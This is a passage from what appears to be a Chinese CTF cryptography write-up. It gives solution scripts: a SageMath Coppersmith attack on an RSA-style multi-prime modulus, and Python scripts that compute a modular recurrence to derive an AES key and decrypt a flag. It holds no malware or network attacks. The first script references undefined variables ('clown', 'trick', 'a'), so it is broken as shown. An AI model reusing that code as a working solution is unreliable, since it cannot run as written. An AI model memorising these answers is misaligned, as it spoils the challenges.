n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
PR.<x>=Zmod(clown)[]
f=trick+x
for cut in range(1,256):
r=f.small_roots(X=2^cut,beta=0.4)
if r:
r=a[0]
break
p=GCD(ZZ(f(r)),clown)
q=clown//p
PR.<x>=Zmod(n)[]
f=(P-x)*(Q-x)*(R-x)
f=f.monic()
m=ZZ(f.small_roots(X=2^256)[0])
N =p*q*m
phi = (p-1)*(q-1)*(m-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,N)
from Crypto.Util.number import *
print(long_to_bytes(ZZ(m)))
3.Alexei needs help
将迭代改为循环即可
from random import randint
import gmpy2 as gp
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *
from tqdm import tqdm
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81
n = 2023
def seqsum(i):
ans = 0
for j in range(len(seq)):
ans += gp.powmod(i, j, m) * seq[j]
return ans
def home1work(n):
if n == 1:
return 1
elif n == 2:
return 1
else:
previous, current = 1, 1
for i in tqdm(range(3, n + 1)):
previous, current = current, (a * current + b * previous + seqsum(i)) % m
return current
ans = home1work(n)
k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k, AES.MODE_ECB)
#data = flag + (16 - len(flag) % 16) * b"\x00"
data=long_to_bytes(ct)
ct = aes.decrypt(data)
print(ct)
#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'\x00\x00\x00\x00\x00\x00\x00"
或者脚本:
memo = {}
import sys
sys.setrecursionlimit(100000)
import gmpy2 as gp
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq = [
1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064,
12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860,
13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339,
8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,
5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,
9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,
6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,
3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,
2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,
10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
n = 2023
def seqsum(i):
if i in memo:
return memo[i]
ans = 0
for j in range(len(seq)):
ans += gp.powmod(i, j, m) * seq[j]
memo[i] = ans
return ans
def homework(i):
if i in memo:
return memo[i]
if i == 1:
result = 1
elif i == 2:
result = 1
else:
result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m
memo[i] = result
return result
result = homework(2023)
ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
from Crypto.Cipher import AES
from binascii import *
from hashlib import *
k = unhexlify(md5(str(result).encode()).hexdigest())
aes = AES.new(k, AES.MODE_ECB)
aes = AES.new(key=k, mode=AES.MODE_ECB)
print(aes.decrypt(unhexlify(ct)))
题目附件:链接:https://pan.baidu.com/s/1DWfylZ-VV9zKgiOHiGj8tw 提取码:kdfw
参考文章
https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ
https://blog.csdn.net/jyttttttt/article/details/131146160
https://www.cnblogs.com/Aann/p/17473430.html
https://mp.weixin.qq.com/s/O8RXt7lOift-pgIiTJJY2g
https://mp.weixin.qq.com/s/azbY19cBgs3MgVdo7i-OhQ